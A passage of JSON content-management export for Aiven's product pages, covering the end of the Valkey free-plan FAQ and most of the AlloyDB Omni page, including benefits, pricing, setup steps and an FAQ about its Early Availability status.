use."},{"_key":"1506e2957639","_type":"accordion","disabled":false,"fullWidth":true,"id":"faq","isFaqAccordion":true,"items":[{"_key":"39e5c9771dac","_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3","_type":"reference"},{"_key":"68ca8879d46d","_ref":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec","_type":"reference"},{"_key":"4ba882bd7e39","_type":"accordionItem","id":"valkey-free-plan","panelText":[{"_key":"9b784a247e6e","_type":"block","children":[{"_key":"01fb67962b150","_type":"span","marks":["80f9e2ba2416"],"text":"The free Aiven for Valkey plan"},{"_key":"9ca08585f998","_type":"span","marks":[],"text":" comes with the following specification:"}],"markDefs":[{"_key":"80f9e2ba2416","_type":"internalLink","internalLink":{"_ref":"a1d19d22-7a60-4f15-94a0-3b99a8abf4bc","_type":"reference"}}],"style":"normal"},{"_key":"91fca9243d3a","_type":"block","children":[{"_key":"ab1352e1fd3a0","_type":"span","marks":[],"text":"Single node"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ad4625ce24fc","_type":"block","children":[{"_key":"deb129e0c6d50","_type":"span","marks":[],"text":"1 CPU"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b1a8c9f681c5","_type":"block","children":[{"_key":"5758a6df8d5e0","_type":"span","marks":[],"text":"1GB RAM"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"94e10e0a4456","_type":"block","children":[{"_key":"46f8a3d057bb0","_type":"span","marks":[],"text":"Maxmemory set to 50%"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fc02aa3b3424","_type":"block","children":[{"_key":"c2d6b0727f610","_type":"span","marks":[],"text":"Easy management via our web console, CLI, API, Terraform provider, or Kubernetes operator"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a4f71d781476","_type":"block","children":[{"_key":"db6728fe1b710","_type":"span","marks":[],"text":"Out-of-the-box monitoring (metrics and logs)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f2d70721b4d4","_type":"block","children":[{"_key":"b0e389b32ab10","_type":"span","marks":[],"text":"Backups"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"977fbe6ed144","_type":"block","children":[{"_key":"669d0269342c0","_type":"span","marks":[],"text":"Community support"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c90e56270712","_type":"block","children":[{"_key":"ee3d568352280","_type":"span","marks":[],"text":"However, some Aiven platform functionality is not available:"}],"markDefs":[],"style":"normal"},{"_key":"53747e179fe4","_type":"block","children":[{"_key":"fece7ae626c30","_type":"span","marks":[],"text":"No VPC peering, service integrations, or forking"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1e2fd69cdd4d","_type":"block","children":[{"_key":"fe0ca1b9a4150","_type":"span","marks":[],"text":"Only community support"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"46d2c5b7b172","_type":"block","children":[{"_key":"7be1f7ca4f390","_type":"span","marks":[],"text":"No 99.99% SLA"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c38b60640801","_type":"block","children":[{"_key":"31b3008a2bcd0","_type":"span","marks":[],"text":"Only Digital Ocean"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"54bef1d04476","_type":"block","children":[{"_key":"3eeb652fea360","_type":"span","marks":[],"text":"Only one service per service type per user and organization"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"What’s included in the free Aiven for Valkey plan? "},{"_key":"541ec6428e8c","_ref":"e514e6cc-1088-4768-8a49-ea0e01ea7123","_type":"reference"}],"rounded":false,"title":"FAQ"},{"_key":"ca9978eb5c2d","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","disabled":false,"fullWidth":true,"id":"resources","items":[{"_key":"955ce9a0c473","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/products/valkey","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-ac635e5643f5691578ff859676e141d7f0ffcf36-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"50193800fa0c","_type":"block","children":[{"_key":"ec85f05004810","_type":"span","marks":[],"text":"Getting started with Aiven for Valkey, core concepts, how-to's, and more."}],"markDefs":[],"style":"normal"}],"tagline":"Aiven Docs","title":"Documentation","variant":"default"},{"_key":"512e80a0d993","_ref":"9da4838e-53cf-49d0-b2b9-19246a10e92d","_type":"podcast"}],"noSpaceBottom":false,"noSpaceTop":false,"tagline":"Resources","title":"Learn how to use Aiven for Valkey"}],"seo":{"_type":"metaData","metaDescription":"Aiven for Valkey – Fully managed in-memory NoSQL database ✓ Deploy in the cloud your choice ✓ Simple integration ✓ Find out more!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-0f2a005338066d3b062c4fc2cea064539e0f5940-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven for Valkey\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"Managed Redis, Redis as a Service\",\n \"description\": \"Aiven for Valkey is a fully-managed and hosted Redis solution that is offered globally in Google Cloud Platform, Amazon Web Services, Microsoft Azure, DigitalOcean, and UpCloud.\",\n \"featureList\": \"Terraform support, Datadog integration, Aiven service log integration, Aiven metrics integration, VPC peering, REST API, Command line tooling, High availability, Available in Google Cloud Platform, Available in Amazon Web Services, Available in Microsoft Azure, Available in DigitalOcean\",\n \"softwareHelp\": {\n \"url\": \"https://aiven.io/docs/valkey\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"Open Source in-memory NoSQL database\",\n \"applicationSubCategory\": \"Memory cache, Message broker, Non-relational database\"\n}","metaTitle":"Managed NoSQL Valkey database | Aiven"},"service":{"_ref":"32901e10-74d0-48c8-a797-be1bb58c8839","_type":"reference"},"slug":{"_type":"slug","current":"/valkey"},"title":"Valkey"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"ja","_ref":"a829737a-0ab2-4037-a7af-be5f9a4f82cf__i18n_ja","_type":"reference"}],"_createdAt":"2024-09-04T11:17:05Z","_id":"09bf1b3f-079a-4b55-ac46-7b89f9ac94b8","_rev":"tW1iVB3M02HkZ9xlORYlJ0","_type":"product","_updatedAt":"2025-01-13T11:40:23Z","content":[{"_key":"4e8702daeb69","_type":"hero","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundPosition":"center center","backgroundSize":"cover","breadcrumbs":{"currentPage":"Aiven for AlloyDB Omni","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Aiven Platform "}},"darkTheme":true,"description":[{"_key":"a08ba67aa421","_type":"block","children":[{"_key":"6c8b286938080","_type":"span","marks":[],"text":"Harness the speed and scalability of Google AlloyDB Omni on any cloud, managed by Aiven."}],"markDefs":[],"style":"normal"}],"disabled":false,"headline":[{"_key":"367e8faaa477","_type":"block","children":[{"_key":"14ac8ca299f20","_type":"span","marks":[],"text":"Aiven for \n"},{"_key":"f3d32896fd03","_type":"span","marks":["color-primary"],"text":"AlloyDB Omni"}],"markDefs":[],"style":"h1"},{"_key":"70918604786e","_type":"block","children":[{"_key":"5bef4ec071b80","_type":"span","marks":[],"text":"Harness the speed and scalability of AlloyDB Omni on any cloud, managed by Aiven."}],"markDefs":[],"style":"normal"}],"hostProviders":[{"_key":"578ed7310c27","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"7b338cc11703","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"f648e8c506f2","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"}],"id":"hero","image":{"_type":"mainImage","asset":{"_ref":"image-29c8f3debbfcf9a74f4636c2d5f4fcf3c2ac172c-3000x2250-png","_type":"reference"}},"imageSize":"default","primaryCTA":{"_type":"link","caption":"Start your free 30-day trial","externalUrl":"https://console.aiven.io/signup","title":"Early access available"},"title":"Aiven for AlloyDB Omni","titleMultiColor":true,"variant":"default"},{"_key":"5182ebbb04f3","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"8f43b5b64eae","_type":"scrollSpyNavItem","sectionId":"works","title":"How it works"},{"_key":"56a49faaf61d","_type":"scrollSpyNavItem","sectionId":"benefits","title":"Benefits"},{"_key":"93b858efcfc3","_type":"scrollSpyNavItem","sectionId":"pricing","title":"Pricing"},{"_key":"f80f76f74ee8","_type":"scrollSpyNavItem","sectionId":"features","title":"Features"},{"_key":"37c34556538267245ea6f6d723cb49dd","_type":"scrollSpyNavItem","sectionId":"faq","title":"FAQ"},{"_key":"8af4fd351767","_type":"scrollSpyNavItem","sectionId":"resources","title":"Resources"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-8371936a7906a98fd63ae43361a9157a4a1498e5-48x48-svg","_type":"reference"}},"logoLink":{"_type":"link","title":"Aiven for AlloyDB Omni"},"noSpaceBottom":true,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"title":"Aiven for AlloyDB Omni"},{"_key":"86de17633c7f","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","id":"works","items":[{"_key":"b41f2cd88971","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"92fed3ddbbbd","_type":"block","children":[{"_key":"67db9e6297670","_type":"span","marks":[],"text":"A high-performance, 100% PostgreSQL-compatible database that excels in handling diverse workloads, including transactional, analytical, and AI-powered vector similarity search, all while maintaining seamless compatibility with the vast ecosystem of PostgreSQL tools and extensions."}],"markDefs":[],"style":"normal"},{"_key":"ca824f59ecc5","_type":"block","children":[{"_key":"33af7b8c903d0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"Google Cloud's AlloyDB Omni","variant":"icon-card"},{"_key":"d4d5ec1db9bd","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"ffe1905c0fe8","_type":"block","children":[{"_key":"aff529e1a7380","_type":"span","marks":[],"text":"A proven track record in deploying, managing, and scaling complex cloud data infrastructure across multiple cloud environments. Aiven's data and AI platform simplifies multi-cloud operations, providing a unified control plane for consistent management, monitoring, and security across your entire data infrastructure."}],"markDefs":[],"style":"normal"},{"_key":"881b57516b0a","_type":"block","children":[{"_key":"9e68e6950c420","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"Aiven's expertise","variant":"icon-card"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"e592ed5a2cf0","_type":"block","children":[{"_key":"e5f8bf7aeeb10","_type":"span","marks":[],"text":"Aiven for AlloyDB Omni combines the power of Google Cloud's industry-leading database service AlloyDB Omni, with the ease of use and multi-cloud flexibility of the Aiven platform for Google Cloud, AWS, and Azure."}],"markDefs":[],"style":"normal"},{"_key":"46e47f49a2aa","_type":"block","children":[{"_key":"970483b061780","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"tagline":"How it Works","title":"What is Aiven for AlloyDB Omni","topOverlap":false},{"_key":"25d1de3d2695","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"b79c8ad93f13","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-ae904dc4f35e259578ede3723110880b94da9928-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"4c25cda3227d","_type":"block","children":[{"_key":"f101ebdbbbf70","_type":"span","marks":[],"text":"Fully compatible with open source PostgreSQL utilizing standard drivers, extensions, and flags, ensuring that existing applications work seamlessly without any code changes. "}],"markDefs":[],"style":"normal"}],"title":"100% PostgreSQL compatible"},{"_key":"f1037a7db5cdc4c7cb2115de99d13364","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-30a5bd1f5d660a3b70fa5c8672d4e8d0ddc69e38-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"fa7b6364f33d","_type":"block","children":[{"_key":"bcbfaa0b603a0","_type":"span","marks":[],"text":"Deploy and manage AlloyDB Omni seamlessly across Google Cloud, AWS, and Azure, giving you the freedom to choose the best infrastructure for your needs."}],"markDefs":[],"style":"normal"}],"title":"True multi-cloud flexibility"},{"_key":"9e7bd37ad46c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-2f0ec2a798fc88e9dba0d032d62808bf5b885e3c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"95f7663d4bcb","_type":"block","children":[{"_key":"a06fe81066b10","_type":"span","marks":[],"text":"Experience dramatically faster transactional, analytical, and vector search workloads for real-time insights, high-throughput applications, and efficient AI-powered solutions."}],"markDefs":[],"style":"normal"}],"title":"Unmatched performance"},{"_key":"b53e11b8ad4a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"8b9f8c1ec29f","_type":"block","children":[{"_key":"5a7e92c35e0b0","_type":"span","marks":[],"text":"Aiven's expertise handles complex database tasks like provisioning, scaling, backups, and upgrades, freeing your team to focus on innovation and development."}],"markDefs":[],"style":"normal"}],"title":"Managed service simplicity"},{"_key":"e9065721bd7d","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-5353e73fbfe1afe2f0ed99fe04de47e76cc43fc8-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"e60409766416","_type":"block","children":[{"_key":"2f6014d684400","_type":"span","marks":[],"text":"Leverage AlloyDB Omni's built-in vector search capabilities and seamless integration with Vertex AI to build and deploy AI-powered applications quickly and efficiently."}],"markDefs":[],"style":"normal"}],"title":"Accelerated AI Adoption"},{"_key":"221e546dad12","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"9542f03d306b","_type":"block","children":[{"_key":"805abc6a70b00","_type":"span","marks":[],"text":"Aiven's platform enforces consistent security policies and compliance controls across clouds and all deployed AlloyDB Omni instances, ensuring data protection and regulatory adherence."}],"markDefs":[],"style":"normal"}],"title":"Enterprise-grade security"}],"id":"benefits","noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Learn more about the Aiven platform"},"roundedCorners":"rounded-none","subtitle":[{"_key":"3b94df48f38d","_type":"block","children":[{"_key":"fcf8bfef3b510","_type":"span","marks":[],"text":"Aiven for AlloyDB Omni brings you: "}],"markDefs":[],"style":"normal"},{"_key":"6263c9e05f9f","_type":"block","children":[{"_key":"d416bd77d4dd","_type":"span","marks":[],"text":"The raw power of AlloyDB Omni, purpose-built for mission-critical PostgreSQL workloads"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"19d43e33968e","_type":"block","children":[{"_key":"3e3c5c2905dc","_type":"span","marks":[],"text":"Plus the simplicity, flexibility, and accelerated time-to-market benefits of a managed service from Aiven"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3e547ede2e87","_type":"block","children":[{"_key":"8abc6702171a","_type":"span","marks":[],"text":"Let Aiven manage your data infrastructure so you can use your data to achieve great outcomes."}],"markDefs":[],"style":"normal"}],"tagline":"Benefits","title":"The best of Google and Aiven for demanding PostgreSQL workloads"},{"_key":"093297f78c05","_type":"iframe","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":true,"headerPosition":"left","id":"contact","iframeHeight":300,"iframeSource":"https://go.aiven.io/l/890043/2024-09-11/vdww4","iframeTitle":"AllyDB interest","isPardotForm":true,"noSpaceBottom":false,"noSpaceTop":false,"pardotFormType":"contact","roundedCorners":"rounded-b","subtitle":[{"_key":"bb3b6b6b4f7d","_type":"block","children":[{"_key":"d79a4bdcafe90","_type":"span","marks":[],"text":"Be one of the first to unlock the power of Aiven for AlloyDB Omni. By signing up for our Early Availability program, you'll receive:"}],"markDefs":[],"style":"normal"},{"_key":"635aefaae246","_type":"block","children":[{"_key":"145c74fe74080","_type":"span","marks":[],"text":"Exclusive access to the latest features and updates"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"aaf50b241355","_type":"block","children":[{"_key":"2a9f9c6b642a0","_type":"span","marks":[],"text":"Dedicated support from Aiven experts"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0a673893b6eb","_type":"block","children":[{"_key":"6033bb0c80e90","_type":"span","marks":[],"text":"Opportunity to provide feedback and shape the future of the product"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d3a08c96c6d0","_type":"block","children":[{"_key":"6075234729820","_type":"span","marks":[],"text":"Fill out the form to secure your spot in the Early Availability program and stay informed about Aiven for AlloyDB Omni."}],"markDefs":[],"style":"normal"}],"tagline":"Contact us","title":"Sign up for the Early Availability program today!","topOverlap":false},{"_key":"z99hrgfgk7k7nm5dvicxfyly78io2sww","_type":"pricing","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","defaultCloud":"Google Cloud","disabled":false,"fullWidth":false,"id":"pricing","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","service":{"_ref":"4a513bb1-7be8-4a17-a847-cbbeedb2da2b","_type":"reference"},"subtitle":[{"_key":"a7aa506a5731","_type":"block","children":[{"_key":"1f3689d057a7","_type":"span","marks":[],"text":"Starts at $90 a month for the Aiven for AlloyDB Omni plan, prices vary based on the number of nodes and your storage needs. Hourly billing saves you money. Change your plan anytime at no extra cost."}],"markDefs":[],"style":"normal"}],"tagline":"Aiven for AlloyDB Omni pricing plans","title":"Scale up or down.\\n Pay only for what you use.","variant":"single-service"},{"_key":"f4e2cb30eaf6","_type":"textColumn","disabled":false,"fullWidth":false,"id":"features","noSpaceTop":false,"subtitle":[{"_key":"a0418c267992","_type":"block","children":[{"_key":"54cf327ca0f80","_type":"span","marks":[],"text":"Aiven for AlloyDB Omni provides you with the tools and flexibility to seamlessly create, connect to, manage, and operate your database deployments. Whether you're looking to fine-tune performance, scale your resources, or ensure high availability, Aiven simplifies the process, allowing you to focus on building and deploying your applications."}],"markDefs":[],"style":"normal"}],"tagline":"Features","title":"Take control of your Aiven for AlloyDB Omni experience","variant":"centerColumn"},{"_key":"b3c61d1d32f4faf97c0a21c456589e75","_type":"textVideo","disabled":false,"fullWidth":true,"noSpaceBottom":true,"noSpaceTop":true,"tagline":"Setting up AlloyDB Omni","text":[{"_key":"a9fcad52ec68","_type":"block","children":[{"_key":"14ce223442b70","_type":"span","marks":[],"text":"In the Aiven console, select \"Create Service” and choose \"AlloyDB Omni\""}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8f4eb4e5d545","_type":"block","children":[{"_key":"8b3034761e1c0","_type":"span","marks":[],"text":"Select your cloud provider (Google Cloud, AWS, Azure)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6743acf108bf","_type":"block","children":[{"_key":"09ba879583f20","_type":"span","marks":[],"text":"Select your desired pricing plan"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"06146be1d569","_type":"block","children":[{"_key":"b9bb811663d40","_type":"span","marks":[],"text":"Aiven handles the infrastructure provisioning and deployment of AlloyDB Omni"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d138d1b42028","_type":"block","children":[{"_key":"edcec6618cc70","_type":"span","marks":[],"text":"Once the cluster is up and running, you'll get connection details (hostname, port, credentials) to access your AlloyDB Omni database"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"How to set up AlloyDB Omni","variant":"mediaLeft","videoHosting":"wistia","wistiaId":{"_type":"wistiaMedia","hashed_id":"hr7ytdudnb","id":124522368}},{"_key":"85009f410ade83c5a2683908777f1823","_type":"textVideo","disabled":false,"fullWidth":true,"noSpaceBottom":true,"rounded":false,"tagline":"Connect to AlloyDB Omni","text":[{"_key":"d43600023c14","_type":"block","children":[{"_key":"75d85cd143360","_type":"span","marks":[],"text":"Securely connect AlloyDB Omni to your applications and tools"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2b345f42b358","_type":"block","children":[{"_key":"2d72c7faf0a00","_type":"span","marks":[],"text":"Efficiently manage client application connections with built-in connection pooling"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1c1cc58a4da0","_type":"block","children":[{"_key":"e44413d41f3c","_type":"span","marks":[],"text":"Integrate with your preferred monitoring tools or use Aiven's built-in "},{"_key":"f67c47669e9a","_type":"span","marks":["9d713eeb2580"],"text":"observability features"},{"_key":"e6bd1309e081","_type":"span","marks":[],"text":" for deep insights"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"9d713eeb2580","_type":"link","href":"https://aiven.io/solutions/aiven-for-observability"}],"style":"normal"},{"_key":"371ed53d34bc","_type":"block","children":[{"_key":"fb077a8f2a1e","_type":"span","marks":[],"text":"Extend database functionality with PostgreSQL extensions and flags, including PostGIS for geospatial data, pg_trgm for trigram-based indexing, and pgvector for vector similarity search powered by AlloyDB AI"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"How to seamlessly integrate AlloyDB Omni","variant":"mediaRight","videoHosting":"wistia","wistiaId":{"_type":"wistiaMedia","hashed_id":"5o7nrgfwuc","id":124525560}},{"_key":"b54ccb18eefa","_type":"textVideo","disabled":false,"fullWidth":true,"noSpaceBottom":true,"rounded":false,"tagline":"Managing AlloyDB Omni","text":[{"_key":"aaf0fa1443c0","_type":"block","children":[{"_key":"4b12e75e8d2c0","_type":"span","marks":[],"text":"Manage your AlloyDB Omni cluster using the intuitive Aiven Console (GUI)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"49ecd8cae7f5","_type":"block","children":[{"_key":"d692255174d80","_type":"span","marks":[],"text":"Scale up or down, fork clusters, upgrade versions, and create read replicas with a few clicks"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"04d602ddddda","_type":"block","children":[{"_key":"de70bdda55060","_type":"span","marks":[],"text":"Compatible with your favorite PostgreSQL tools and extensions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"94f9dfdf3971","_type":"block","children":[{"_key":"cc66fc35ebd10","_type":"span","marks":[],"text":"Deploy read replicas across clouds or regions for disaster recovery and improved performance"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"How to manage AlloyDB Omni","variant":"mediaLeft","videoHosting":"wistia","wistiaId":{"_type":"wistiaMedia","hashed_id":"o8ot257xwr","id":124522365}},{"_key":"c48ee4ff96855f5b9f1c0870730c31aa","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"disabled":false,"fullWidth":true,"noSpaceBottom":false,"rounded":false,"tagline":"Operating AlloyDB Omni","text":[{"_key":"351360ba22ae","_type":"block","children":[{"_key":"acdd1cd106a80","_type":"span","marks":[],"text":"Scale your database, upgrade versions, or perform other management tasks without interrupting your applications"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"45b51ccf9d6a","_type":"block","children":[{"_key":"75995b7537410","_type":"span","marks":[],"text":"Automatic backups with Point-In-Time- Recovery give you peace of mind knowing your data is protected"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2b375feaed1b","_type":"block","children":[{"_key":"b1222e0f45fd","_type":"span","marks":[],"text":"Aiven's self-healing platform automatically detects and recovers from failures, minimizing downtime and disruptions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4b9245cc245f","_type":"block","children":[{"_key":"7a64f0f635800","_type":"span","marks":[],"text":"Aiven adheres to strict "},{"_key":"df8cf07ef566","_type":"span","marks":["a40fbe64b086"],"text":"security standards"},{"_key":"090b687a84ff","_type":"span","marks":[],"text":" (ISO 27001, SOC2) and offers compliance with GDPR, HIPAA, and PCI/DSS"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a40fbe64b086","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_type":"reference"}}],"style":"normal"},{"_key":"627ad709ea25","_type":"block","children":[{"_key":"eda638db56ad0","_type":"span","marks":[],"text":"Option for 24/7 support from a 100% human support team"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"How to operate AlloyDB Omni","variant":"mediaRight","videoHosting":"wistia","wistiaId":{"_type":"wistiaMedia","hashed_id":"wqwtr9mfr8","id":124522627}},{"_key":"1506e2957639","_type":"accordion","addSpaceTop":false,"backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"disabled":false,"fullWidth":false,"id":"faq","isFaqAccordion":true,"items":[{"_key":"29e224a548ed","_type":"accordionItem","panelText":[{"_key":"f8055ce47789","_type":"block","children":[{"_key":"a09a849b37480","_type":"span","marks":[],"text":"Aiven for AlloyDB Omni lets you experience the best of both worlds: Google Cloud's high-performance AlloyDB Omni database and Aiven's easy-to-use, multi-cloud platform. "}],"markDefs":[],"style":"normal"},{"_key":"73dc7656ba8a","_type":"block","children":[{"_key":"4e8c4380c387","_type":"span","marks":[],"text":"AlloyDB Omni delivers exceptional performance for transactional, analytical, and AI workloads, all within a 100% PostgreSQL-compatible environment. "}],"markDefs":[],"style":"normal"},{"_key":"794aa6984041","_type":"block","children":[{"_key":"5b64dd1bd634","_type":"span","marks":[],"text":"Aiven simplifies managing this powerful database across Google Cloud, AWS, and Azure with a unified control plane for streamlined operations and security. "}],"markDefs":[],"style":"normal"},{"_key":"86aa6153315e","_type":"block","children":[{"_key":"eec22667af8c","_type":"span","marks":[],"text":"This combination gives you the flexibility to run your data infrastructure where you need it with the performance and ease of management you demand."}],"markDefs":[],"style":"normal"}],"title":"What is Aiven for AlloyDB Omni?"},{"_key":"0ed719a25b7b","_type":"accordionItem","id":"cost","panelText":[{"_key":"0ec0bebc0619","_type":"block","children":[{"_key":"0edae13001c30","_type":"span","marks":[],"text":"To deploy AlloyDB Omni on AWS or Azure, you will need an Aiven account as the central platform for managing your AlloyDB Omni deployments. Aiven allows you to choose your preferred cloud provider (AWS or Azure) and the specific region for your AlloyDB Omni instance. Aiven simplifies the configuration process and handles the deployment of AlloyDB Omni on your chosen cloud. Once deployed, you can connect to your AlloyDB Omni instance and start using it."}],"markDefs":[],"style":"normal"}],"title":"What if I am already paying for AlloyDB Omni with Google Cloud, but want to use Aiven to deploy it on AWS or Azure?"},{"_key":"66e498f42a13","_type":"accordionItem","panelText":[{"_key":"d0b90cc5477b","_type":"block","children":[{"_key":"2703329aca680","_type":"span","marks":[],"text":"Yes. Aiven for AlloyDB Omni maintains compatibility with standard PostgreSQL so you can seamlessly connect your existing applications, command-line tools, and database management interfaces to AlloyDB Omni instances without any modifications."}],"markDefs":[],"style":"normal"},{"_key":"4d8c84bb2901","_type":"block","children":[{"_key":"57a6f2bc172e0","_type":"span","marks":[],"text":"This compatibility ensures a smooth transition for users familiar with the PostgreSQL ecosystem, enabling you to leverage existing skills and tools while benefiting from the enhanced performance and scalability of AlloyDB Omni."}],"markDefs":[],"style":"normal"}],"title":"Can I use my existing PostgreSQL tools and clients with Aiven for AlloyDB Omni?"},{"_key":"37b54178dc9a9ec261491e77626c597b","_type":"accordionItem","id":"migration","panelText":[{"_key":"8fe597a089da","_type":"block","children":[{"_key":"c931dff6ca6b","_type":"span","marks":[],"text":"Yes, Aiven will provide tools and support for migrating your existing PostgreSQL databases to Aiven for AlloyDB Omni, minimizing downtime and ensuring data integrity."}],"markDefs":[],"style":"normal"}],"title":"Can I migrate my existing PostgreSQL database to Aiven for AlloyDB Omni?"},{"_key":"8abfa89d9004","_type":"accordionItem","panelText":[{"_key":"6a8ae5050cef","_type":"block","children":[{"_key":"2e1fbfb9728f0","_type":"span","marks":[],"text":"Aiven for AlloyDB Omni is in Early Availability (EA) and is not recommended for production environments. As an EA release, the service is still going through rigorous testing, and there may be limited functionality that is planned to included in the General Availability release. "}],"markDefs":[],"style":"normal"},{"_key":"13e666992a74","_type":"block","children":[{"_key":"5f03c1b8fa23","_type":"span","marks":[],"text":"However, there are some situations where an EA may be considered, such as non-critical workloads that can tolerate some changes or for development and testing pre-production environments."}],"markDefs":[],"style":"normal"}],"title":"Is Aiven for AlloyDB Omni ready for production environments?"}],"roundedCorners":"rounded","title":"FAQ"},{"_key":"4f3d7857ad9059927e409f2215d4a37a","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center 